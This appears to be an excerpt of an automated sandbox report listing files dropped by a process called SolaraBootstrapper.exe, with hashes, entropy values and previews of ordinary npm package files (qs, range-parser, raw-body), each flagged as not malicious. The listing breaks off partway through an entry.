Preview:	# qs <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![dependency status][deps-svg]][deps-url].[![dev dependency status][dev-deps-svg]][dev-deps-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..A querystring parsing and stringifying library with some added security...Lead Maintainer: [Jordan Harband](https://github.com/ljharb)..The qs module was originally created and maintained by [TJ Holowaychuk](https://github.com/visionmedia/node-querystring)...## Usage..```javascript.var qs = require('qs');.var assert = require('assert');..var obj = qs.parse('a=c');.assert.deepEqual(obj, { a: 'c' });..var str = qs.stringify(obj);.assert.equal(str, 'a=c');.```..### Parsing Objects..[](#preventEval).```javascript.qs.parse(string, [options]);.```..qs allows you to create nested objects within your query

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\dist\qs.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (859)
Category:	dropped
Size (bytes):	69136
Entropy (8bit):	5.0138931035003855
Encrypted:	false
SSDEEP:	1536:gGDxzy/W412Qsf7XwM4DCbJQpw1JJR5ZG4C8a7RV5DtWGJBqbuzOwytgv2Zp:SW412Qsf7XwMrHb5ZG4C8a7R99z6
MD5:	7A07B9932F7E5A7CF44CBDE2B89CBC6C
SHA1:	55D05E8834D6583D0200742F9A5B14E0B86C8613
SHA-256:	27D7D7811DDFA98771316D5DC83BBD370E81B982CE982A12EE0A0E319FD20964
SHA-512:	417420A3FAC90D4136E8FAD11F18484B0ADAB5DC998BD7BFCEF9E5BFBD8C93A5B79664DAE588A255A47D718C4D463408657CC04A1C2C973EAB90EB6DBFDD20EA
Malicious:	false
Preview:	(function(f){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=f()}else if(typeof define==="function"&&define.amd){define([],f)}else{var g;if(typeof window!=="undefined"){g=window}else if(typeof global!=="undefined"){g=global}else if(typeof self!=="undefined"){g=self}else{g=this}g.Qs = f()}})(function(){var define,module,exports;return (function(){function r(e,n,t){function o(i,f){if(!n[i]){if(!e[i]){var c="function"==typeof require&&require;if(!f&&c)return c(i,!0);if(u)return u(i,!0);var a=new Error("Cannot find module '"+i+"'");throw a.code="MODULE_NOT_FOUND",a}var p=n[i]={exports:{}};e[i][0].call(p.exports,function(r){var n=e[i][1][r];return o(n\|\|r)},p,p.exports,r,e,n,t)}return n[i].exports}for(var u="function"==typeof require&&require,i=0;i<t.length;i++)o(t[i]);return o}return r})()({1:[function(require,module,exports){.'use strict';..var replace = String.prototype.replace;.var percentTwenties = /%20/g;..var Format = {. RFC1738: 'RFC1738',. RFC3986: 'R

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\formats.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.710886840910965
Encrypted:	false
SSDEEP:	12:LSiACmX00E1TBA7YEJa+wvoddqadUibZHY:L70o1TBMjwQdYIK
MD5:	74E3187201CE03C0BE48C3D744CE9B93
SHA1:	EDDC3B28123BD9E925B374362465B2488734FFDE
SHA-256:	D4E3DE8B5A4C94865D8ACD6F1C7538144732D466769661160BC0BF6EC9DB3F4F
SHA-512:	39C1C72DC94536ACFF463BE2A1BF7DC28B0E31EC377ABA76F0EC86891EE4CA94B4D7AF1AAA653E500D9E1F8E46538F3AF75469C3AA42ED39EB21D1A7080C0C17
Malicious:	false
Preview:	'use strict';..var replace = String.prototype.replace;.var percentTwenties = /%20/g;..var Format = {. RFC1738: 'RFC1738',. RFC3986: 'RFC3986'.};..module.exports = {. 'default': Format.RFC3986,. formatters: {. RFC1738: function (value) {. return replace.call(value, percentTwenties, '+');. },. RFC3986: function (value) {. return String(value);. }. },. RFC1738: Format.RFC1738,. RFC3986: Format.RFC3986.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	211
Entropy (8bit):	4.513556922562984
Encrypted:	false
SSDEEP:	6:Q16PWo/EeWf0NDCMDKzBSGYEwPEwqYecuxs:ucNDPUBAEwPEwg2
MD5:	1459A9952F6B500D24818BB6E3E37368
SHA1:	9039AEF43BEBB9C999E4711D367211CC97B710D3
SHA-256:	8F4E02EEF6CCC43F2B7448C18AE209281C8E9AF9807CAD491DF67450E3817A95
SHA-512:	50365D03580E5DB9FD07FD0771CCB702E5B18173E7200CA3E8C792CADBA571F6EDD5B6CC12458296277143C3C63CD3ADADEB3C8DCA140A6A18C525B107CAE66A
Malicious:	false
Preview:	'use strict';..var stringify = require('./stringify');.var parse = require('./parse');.var formats = require('./formats');..module.exports = {. formats: formats,. parse: parse,. stringify: stringify.};.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\parse.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	9380
Entropy (8bit):	4.7052565509844655
Encrypted:	false
SSDEEP:	192:c5o1s3b0vlfby2bbEMY8qenkgFE1rugZHbVHIZ4vHyw5FTLShKjb412QEH3v4e18:c55mbEbCFPgZBECR412QEH3v7XwMlA
MD5:	90F8FBD8451FDB537B916F9B2F753456
SHA1:	E7AB39DB4097550EA490330813BE3788738F8D48
SHA-256:	9611D65366166F5F826B647F6F2DC25AD94EB5D0259E9646BFD13784DFCE907C
SHA-512:	24CA0EBD2B5501E956EC240A57B14EB9E204B338E6B0ACCFFC0412E174EB4524F84B4BCA71D8E6785153594159F8AE8730D09D0414FC1C407C94040FE33BBC64
Malicious:	false
Preview:	'use strict';..var utils = require('./utils');..var has = Object.prototype.hasOwnProperty;.var isArray = Array.isArray;..var defaults = {. allowDots: false,. allowPrototypes: false,. allowSparse: false,. arrayLimit: 20,. charset: 'utf-8',. charsetSentinel: false,. comma: false,. decoder: utils.decode,. delimiter: '&',. depth: 5,. ignoreQueryPrefix: false,. interpretNumericEntities: false,. parameterLimit: 1000,. parseArrays: true,. plainObjects: false,. strictNullHandling: false.};..var interpretNumericEntities = function (str) {. return str.replace(/&#(\d+);/g, function ($0, numberStr) {. return String.fromCharCode(parseInt(numberStr, 10));. });.};..var parseArrayValue = function (val, options) {. if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) {. return val.split(',');. }.. return val;.};..// This is what browsers will submit when the . character occurs in an.// application/x-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\stringify.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	10358
Entropy (8bit):	4.624471165907384
Encrypted:	false
SSDEEP:	192:NDRWpkwbPXYoJB5SqqayEWvufCY6U0dUT+lavIxmwQ3qmlpLZnJU4tAJOFPXxTOe:NDRWpkmPXYoJBh8uku+laj33FJJAs5Xt
MD5:	1CBD67C569A1FAEE16DE2FF17FC8BF10
SHA1:	02D0313C24E068228B98AC886F173F70DE62B39D
SHA-256:	62C4B11841066E8A50A8F53B67DCA13DAEA011DD3F6244456EA25EC2BBE5D834
SHA-512:	DEFCBFCAEE7784CD46D397F8877E2FA0EB63A9B438F5FC1EBCDADC8D5E0A3E67B08BA9DA3E759A78C03363E680F52D54505E1939F15CA95C93DD3AD61A4EADCE
Malicious:	false
Preview:	'use strict';..var getSideChannel = require('side-channel');.var utils = require('./utils');.var formats = require('./formats');.var has = Object.prototype.hasOwnProperty;..var arrayPrefixGenerators = {. brackets: function brackets(prefix) {. return prefix + '[]';. },. comma: 'comma',. indices: function indices(prefix, key) {. return prefix + '[' + key + ']';. },. repeat: function repeat(prefix) {. return prefix;. }.};..var isArray = Array.isArray;.var split = String.prototype.split;.var push = Array.prototype.push;.var pushToArray = function (arr, valueOrArray) {. push.apply(arr, isArray(valueOrArray) ? valueOrArray : [valueOrArray]);.};..var toISO = Date.prototype.toISOString;..var defaultFormat = formats['default'];.var defaults = {. addQueryPrefix: false,. allowDots: false,. charset: 'utf-8',. charsetSentinel: false,. delimiter: '&',. encode: true,. encoder: utils.encode,. encodeValuesOnly: false,. format: defa

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\lib\utils.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6823
Entropy (8bit):	4.588218546291734
Encrypted:	false
SSDEEP:	192:zDKQfExDd3InEk0OIhB5oWB76OLMthk2L7KkNOW128RFlxJPyqqXrbFoQPI:zDKQH0hCWhIkOKioI
MD5:	37D7F5EDA99A09F6169DDB31B0800519
SHA1:	8695A4B17CBB4204CEA789012E2426AAAF9489F2
SHA-256:	1A360B096B61CB5D5260E6543ED032677D7DCADB0BCF9BA5C42833CA75622E9B
SHA-512:	8A26ED9530378195313729054CB8B063B496B61769A96AE50339349AD46019C8186C5F6426FC2EC8184D22EFA7CCF546D1124A9B6467D57ED99019E2E9DD4BD6
Malicious:	false
Preview:	'use strict';..var formats = require('./formats');..var has = Object.prototype.hasOwnProperty;.var isArray = Array.isArray;..var hexTable = (function () {. var array = [];. for (var i = 0; i < 256; ++i) {. array.push('%' + ((i < 16 ? '0' : '') + i.toString(16)).toUpperCase());. }.. return array;.}());..var compactQueue = function compactQueue(queue) {. while (queue.length > 1) {. var item = queue.pop();. var obj = item.obj[item.prop];.. if (isArray(obj)) {. var compacted = [];.. for (var j = 0; j < obj.length; ++j) {. if (typeof obj[j] !== 'undefined') {. compacted.push(obj[j]);. }. }.. item.obj[item.prop] = compacted;. }. }.};..var arrayToObject = function arrayToObject(source, options) {. var obj = options && options.plainObjects ? Object.create(null) : {};. for (var i = 0; i < source.length; ++i) {. if (typeof source[i] !== 'u

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2317
Entropy (8bit):	4.49824839481523
Encrypted:	false
SSDEEP:	48:ZDp53ckJ4tgsjtPTRP4Bvag059bMh3LF5q:pD3peiMtmBesJLq
MD5:	8293830097B45284F0FA44658785C307
SHA1:	52165B2DDFEE9D5B878020D2663E838536CD92BB
SHA-256:	1B9FB6E06C92BF2C8944BF2D0139790972C5B68304999699FD197A7ED63876EE
SHA-512:	880E4EC300C79483C71BB762AF8DB91DA6532B364C27512D87912040CE120399EE365609237F33C785037D476BD0A6FF701EDFBAB91234770FD9F5011DF7C587
Malicious:	false
Preview:	{. "name": "qs",. "description": "A querystring parser that supports nesting and arrays, with a depth limit",. "homepage": "https://github.com/ljharb/qs",. "version": "6.11.0",. "repository": {. "type": "git",. "url": "https://github.com/ljharb/qs.git". },. "funding": {. "url": "https://github.com/sponsors/ljharb". },. "main": "lib/index.js",. "contributors": [. {. "name": "Jordan Harband",. "email": "ljharb@gmail.com",. "url": "http://ljharb.codes". }. ],. "keywords": [. "querystring",. "qs",. "query",. "url",. "parse",. "stringify". ],. "engines": {. "node": ">=0.6". },. "dependencies": {. "side-channel": "^1.0.4". },. "devDependencies": {. "@ljharb/eslint-config": "^21.0.0",. "aud": "^2.0.0",. "browserify": "^16.5.2",. "eclint": "^2.8.1",. "eslint": "=8.8.0",. "evalm

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\test\parse.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	35871
Entropy (8bit):	4.758761664065293
Encrypted:	false
SSDEEP:	384:f3Nd+AuxA7RLoAUod+6IfippLzzlzzSkLb9/+zdzaNujMjbk+k1LM:f3SAJ79oAUo463ZJGzdza7aA
MD5:	843FD5478400C6414169358EB9237B0C
SHA1:	E585ACC3CCF8923C6CBF2BCC69319A9529C94F97
SHA-256:	DE9C43224E88E49977A3052D9DBA9096CE1F336F0B5DF0AEFCC1059467E88D57
SHA-512:	192890A0044177FC0EDF5C1B97A6B641704B10C810F1263D66B90F4F4105FD87B4D6DA585BF3EC9E528D6EA9464A6A92F53FE56081C9CADE4050C2758D876410
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var qs = require('../');.var utils = require('../lib/utils');.var iconv = require('iconv-lite');.var SaferBuffer = require('safer-buffer').Buffer;..test('parse()', function (t) {. t.test('parses a simple string', function (st) {. st.deepEqual(qs.parse('0=foo'), { 0: 'foo' });. st.deepEqual(qs.parse('foo=c++'), { foo: 'c ' });. st.deepEqual(qs.parse('a[>=]=23'), { a: { '>=': '23' } });. st.deepEqual(qs.parse('a[<=>]==23'), { a: { '<=>': '=23' } });. st.deepEqual(qs.parse('a[==]=23'), { a: { '==': '23' } });. st.deepEqual(qs.parse('foo', { strictNullHandling: true }), { foo: null });. st.deepEqual(qs.parse('foo'), { foo: '' });. st.deepEqual(qs.parse('foo='), { foo: '' });. st.deepEqual(qs.parse('foo=bar'), { foo: 'bar' });. st.deepEqual(qs.parse(' foo = bar = baz '), { ' foo ': ' bar = baz ' });. st.deepEqual(qs.parse('foo=bar=baz'), { foo: 'bar=baz' });. st

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\test\stringify.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	35186
Entropy (8bit):	4.619525188691518
Encrypted:	false
SSDEEP:	384:f5zbo4PHEZBxpTX8WR1SzD4CmBG/fWDXuBg2rAlHtUzO1kqJ+xDuntWHE0riQt5M:fRot6ZxDuntWHE0S
MD5:	E56C2420CDE1DD52341EE604C5598D06
SHA1:	3D9AD16CAD40BA4A6A43D3D38765EA102A48C299
SHA-256:	9E1EB3E6772609072D168B84ABC20AA511E680244EA98B4CBF49725E31DE7721
SHA-512:	D5D14B4E2F695FE59E23DE6B2A28D3DEA39F5E0598A89298B4B7670AC817F3CD2BDEB24086FDC34D27B843AC27E1B4687D74BDEA73BD6BBB1042FCCBF8062663
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var qs = require('../');.var utils = require('../lib/utils');.var iconv = require('iconv-lite');.var SaferBuffer = require('safer-buffer').Buffer;.var hasSymbols = require('has-symbols');.var hasBigInt = typeof BigInt === 'function';..test('stringify()', function (t) {. t.test('stringifies a querystring object', function (st) {. st.equal(qs.stringify({ a: 'b' }), 'a=b');. st.equal(qs.stringify({ a: 1 }), 'a=1');. st.equal(qs.stringify({ a: 1, b: 2 }), 'a=1&b=2');. st.equal(qs.stringify({ a: 'A_Z' }), 'a=A_Z');. st.equal(qs.stringify({ a: '.' }), 'a=%E2%82%AC');. st.equal(qs.stringify({ a: '.' }), 'a=%EE%80%80');. st.equal(qs.stringify({ a: '.' }), 'a=%D7%90');. st.equal(qs.stringify({ a: '..' }), 'a=%F0%90%90%B7');. st.end();. });.. t.test('stringifies falsy values', function (st) {. st.equal(qs.stringify(undefined), '');. st.equal(qs.stringify(null),

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\qs\test\utils.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5112
Entropy (8bit):	4.7086079566914485
Encrypted:	false
SSDEEP:	96:asl0wXxNm1uTbOCgs8vG6gEDSC4vrGBDN+i2Y:asRBF6Cz8vf74viJNR2Y
MD5:	707BA5727EF5EE20C147C1E43F5FE1BF
SHA1:	D418B6E7597AB122D26E1E535BFC57E148134DCF
SHA-256:	4ADBD25416BA0F75CE7AFAF6F71AA430B2AA918FD697F7E978B451C76D770714
SHA-512:	47C7575B529271EE118EB2750F4EA3C9045DDDAFE817752DDCD618F45FC8E2B2628517F5C3EC21D8F6117FA4248730205B1EEEC55FB587C948A9C4F6AE4BF1A2
Malicious:	false
Preview:	'use strict';..var test = require('tape');.var inspect = require('object-inspect');.var SaferBuffer = require('safer-buffer').Buffer;.var forEach = require('for-each');.var utils = require('../lib/utils');..test('merge()', function (t) {. t.deepEqual(utils.merge(null, true), [null, true], 'merges true into null');.. t.deepEqual(utils.merge(null, [42]), [null, 42], 'merges null into an array');.. t.deepEqual(utils.merge({ a: 'b' }, { a: 'c' }), { a: ['b', 'c'] }, 'merges two objects with the same key');.. var oneMerged = utils.merge({ foo: 'bar' }, { foo: { first: '123' } });. t.deepEqual(oneMerged, { foo: ['bar', { first: '123' }] }, 'merges a standalone and an object into an array');.. var twoMerged = utils.merge({ foo: ['bar', { first: '123' }] }, { foo: { second: '456' } });. t.deepEqual(twoMerged, { foo: { 0: 'bar', 1: { first: '123' }, second: '456' } }, 'merges a standalone and two objects into an array');.. var sandwiched = utils.merge({ foo: ['bar', { fi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.4793704622098875
Encrypted:	false
SSDEEP:	24:SvClBfKulHq56dRAqG5L5wJFFXHyAW8HY:cUtE56dHGYJjHTa
MD5:	6FDB98EB13B0D3DD31F0FF795BE6A52B
SHA1:	CD3C379ADD4188F5F4186BCF8FA7A6E7D4F395D0
SHA-256:	AA0D8D70A8C3CDD30685235914CA2422A4E9FD2FA901B166811FA130D05D3F06
SHA-512:	5E48780721BEB2FE1441B4796784EEC26C1BDDB75417563E1DD189E6E52E59F18F02680074BB486D368DF60A1BB940B7A8F1CBE3F08EC74107AD653CBA5B15E2
Malicious:	false
Preview:	1.2.1 / 2019-05-10.==================.. * Improve error when `str` is not a string..1.2.0 / 2016-06-01.==================.. * Add `combine` option to combine overlapping ranges..1.1.0 / 2016-05-13.==================.. * Fix incorrectly returning -1 when there is at least one valid range. * perf: remove internal function..1.0.3 / 2015-10-29.==================.. * perf: enable strict mode..1.0.2 / 2014-09-08.==================.. * Support Node.js 0.6..1.0.1 / 2014-09-07.==================.. * Move repository to jshttp..1.0.0 / 2013-12-11.==================.. * Add repository to package.json. * Add MIT license..0.0.4 / 2012-06-17.==================.. * Change ret -1 for unsatisfiable and -2 when invalid..0.0.3 / 2012-06-17.==================.. * Fix last-byte-pos default to len - 1..0.0.2 / 2012-06-14.==================.. * Add `.type`..0.0.1 / 2012-06-11.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1178
Entropy (8bit):	5.21865173449101
Encrypted:	false
SSDEEP:	24:5UiJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:WiJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	D4246FB961A4F121EEF5FFCA47F0B010
SHA1:	43A61F2604C8261E7F03AD44744C387649C480B3
SHA-256:	F655E6291356EC0DE7A8F0E69F294961A2CEA86678EC94588BE1E6A492E278AB
SHA-512:	C4ED365A462F277A23A8A66774ED4435D6E6EB1F331A61F4709944F0504086E8BFA0A7B18FC2F9645DEE18C20FD02E0A6ABD7AEEE09DB0C60BA70A64E559210B
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2012-2014 TJ Holowaychuk <tj@vision-media.ca>.Copyright (c) 2015-2016 Douglas Christopher Wilson <doug@somethingdoug.com..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAG

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	4.998879354179689
Encrypted:	false
SSDEEP:	48:v3DdC9XRi2NdXMoNjp3wc32JdWQgPBBs9ePc50hvBp3SAW393i53Ap3f3giv3bWv:PBCD15Zl2JdPgPBa9kcEfyJ66fgiPbWv
MD5:	F4B241A4D3C3EAC1D542759D73164083
SHA1:	B3558CBF7EFEEE715175DE415DC67F49C49410E8
SHA-256:	886BF556A8A88ADC2AAC86DA3C8D63106E1C8E7854EB14BC1C095EDC074163F8
SHA-512:	C23AAAA2887136CE8F4EADEF41BDA8CBEB8446143F4F50309E23186ABFF36F49C9922201006E924F272DA84A06180AE38B639D0E06620E4E9BB36BD4C4E40236
Malicious:	false
Preview:	# range-parser..[![NPM Version][npm-version-image]][npm-url].[![NPM Downloads][npm-downloads-image]][npm-url].[![Node.js Version][node-image]][node-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Range header field parser...## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install range-parser.```..## API.. eslint-disable no-unused-vars -->..```js.var parseRange = require('range-parser').```..### parseRange(size, header, options)..Parse the given `header` string where `size` is the maximum size of the resource..An array of ranges will be returned or negative numbers indicating an error parsing... * `-2` signals a malformed header string. * `-1` signals an unsatisfiable range.. eslint-disable no-undef -->..`

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2900
Entropy (8bit):	4.7125797911139164
Encrypted:	false
SSDEEP:	48:63dMSk0GXUF65WerutornZGgbCitbC2mgMcdWNoy+otDUbWpWizPNjC:0RqXT9raoDUgeitu2GczoZO
MD5:	E72576333D27D1C9B3901C4B9E597F27
SHA1:	99F605CD5BA471183657FBF318DBC8E5EC82F042
SHA-256:	38786526D000475300728DB07455AA21D1E37B0F24E48FBC4CB30136AE30B07B
SHA-512:	86A0D770C08B7E61DEA3F63B12736E11737874D32650F263A3728C01C93027ED305FA80AEC05997584E7F6EBE8F78DD0F17C26A1EB5FC4653AFAB501971FCDDA
Malicious:	false
Preview:	/!. range-parser. * Copyright(c) 2012-2014 TJ Holowaychuk. * Copyright(c) 2015-2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = rangeParser../. Parse "Range" header `str` relative to the given file `size`.. . @param {Number} size. * @param {String} str. * @param {Object} [options]. * @return {Array}. * @public. */..function rangeParser (size, str, options) {. if (typeof str !== 'string') {. throw new TypeError('argument str must be a string'). }.. var index = str.indexOf('=').. if (index === -1) {. return -2. }.. // split the range string. var arr = str.slice(index + 1).split(','). var ranges = [].. // add ranges type. ranges.type = str.slice(0, index).. // parse all ranges. for (var i = 0; i < arr.length; i++) {. var range = arr[i].split('-'). var start = parseInt(range[0], 10). var end = parseInt(range[1], 10).. // -nnn. if (isNaN(start)) {. start = size - end.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\range-parser\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	4.853167582936616
Encrypted:	false
SSDEEP:	24:C3LVpgAT1rxVTSdLPbetK3+nUghTY3WZMCWKXKBBoO8:C3ppFJtVTePbeo3+nUgh0GqBkcBoO8
MD5:	89B7CC42D2831A8061361CA29545F837
SHA1:	E82A50D4BE1C57DED40BF39A5232BF5C6DABB46D
SHA-256:	D0B5F54EAA59001DC86720A9BE1FDF653BAD83707D70842332FB3E8847F65A89
SHA-512:	8676FDCBE03F4E27E56E8BB2CE94864124EC908ABA47CA856A4073A937D9D4CF07A1667567D8D39E50B8B4D5ACE102362739BA933501F475EE9F9DCAB215DE05
Malicious:	false
Preview:	{. "name": "range-parser",. "author": "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)",. "description": "Range header field string parser",. "version": "1.2.1",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>",. "James Wyatt Cready <wyatt.cready@lanetix.com>",. "Jonathan Ong <me@jongleberry.com> (http://jongleberry.com)". ],. "license": "MIT",. "keywords": [. "range",. "parser",. "http". ],. "repository": "jshttp/range-parser",. "devDependencies": {. "deep-equal": "1.0.1",. "eslint": "5.16.0",. "eslint-config-standard": "12.0.0",. "eslint-plugin-markdown": "1.0.0",. "eslint-plugin-import": "2.17.2",. "eslint-plugin-node": "8.0.1",. "eslint-plugin-promise": "4.1.1",. "eslint-plugin-standard": "4.0.0",. "mocha": "6.1.4",. "nyc": "14.1.1". },. "files": [. "HISTORY.md",. "LICENSE",. "index.js". ],. "engines": {. "node": ">= 0.6". },. "scripts": {. "lint": "eslint --plugi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\HISTORY.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6048
Entropy (8bit):	4.790078545667384
Encrypted:	false
SSDEEP:	96:yir0vpiCxwTLLDxTozlyF2U8EQizn31frw6G7guHsqga4gJ6EwD:ygLVClU8EQizn31TvG7g6sfbgq
MD5:	92DF122B507AC7FEAF5BF891873FD5A4
SHA1:	045515E9495ED3976F52B2F82DB7F6E8482CF8A6
SHA-256:	6CC8EDB23C7231759530513A8A12A59E1828B3201D92F93265D322F22B9BC3E3
SHA-512:	1646D86B9B2D6F4812DBEB0E8C8E47FB7B9154CAB5117995147635F817053889FBBD8597C1625E91CED4EE06CDCE00944C68254DE58BA4E50F0CC3C18B0C42AB
Malicious:	false
Preview:	2.5.2 / 2023-02-21.==================.. * Fix error message for non-stream argument..2.5.1 / 2022-02-28.==================.. * Fix error on early async hooks implementations..2.5.0 / 2022-02-21.==================.. * Prevent loss of async hooks context. * Prevent hanging when stream is not readable. * deps: http-errors@2.0.0. - deps: depd@2.0.0. - deps: statuses@2.0.1..2.4.3 / 2022-02-14.==================.. * deps: bytes@3.1.2..2.4.2 / 2021-11-16.==================.. * deps: bytes@3.1.1. * deps: http-errors@1.8.1. - deps: setprototypeof@1.2.0. - deps: toidentifier@1.0.1..2.4.1 / 2019-06-25.==================.. * deps: http-errors@1.7.3. - deps: inherits@2.0.4..2.4.0 / 2019-04-17.==================.. * deps: bytes@3.1.0. - Add petabyte (`pb`) support. * deps: http-errors@1.7.2. - Set constructor name when possible. - deps: setprototypeof@1.1.1. - deps: statuses@'>= 1.5.0 < 2'. * deps: iconv-lite@0.4.24. - Added encoding MIK..2.3.3 / 2018-05-08.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1181
Entropy (8bit):	5.205541824014001
Encrypted:	false
SSDEEP:	24:bUMrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:bUMaJHlxE35QHOs5exm3ogF5n
MD5:	F22163D3BC6B4BC1BBBDF654FE30AF5B
SHA1:	64F407BB4BE1A9856B71063484B6A31CAC33E16E
SHA-256:	37876D7DE8BDF5E5B9B58A697EBC34044624E493E6F49EFF5C938E5226DCAC6B
SHA-512:	692AE6FCB8B90046374A67948A225C61AF566187BA3604A92406B14D773F6646C77AACC5DF61FD49783F48D72B4ADDD4C0117514D22E1DECED2F26B64B27FE55
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2013-2014 Jonathan Ong <me@jongleberry.com>.Copyright (c) 2014-2022 Douglas Christopher Wilson <doug@somethingdoug.com>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DA

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\raw-body\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Java source, ASCII text
Category:	dropped
Size (bytes):	6553
Entropy (8bit):	4.940583595246406
Encrypted:	false
SSDEEP:	96:oXCHQmOz15wheU7IJEE9lQulR1n9AljzaPHoPnCRI2GIESsUiru:oyBh7aZ9lHQjzavmnCu23EGKu
MD5:	48FC13005FB5CF414C22AC67588903FA
SHA1:	360E984030BB1CA698C46AE6B3F1258E63F80766
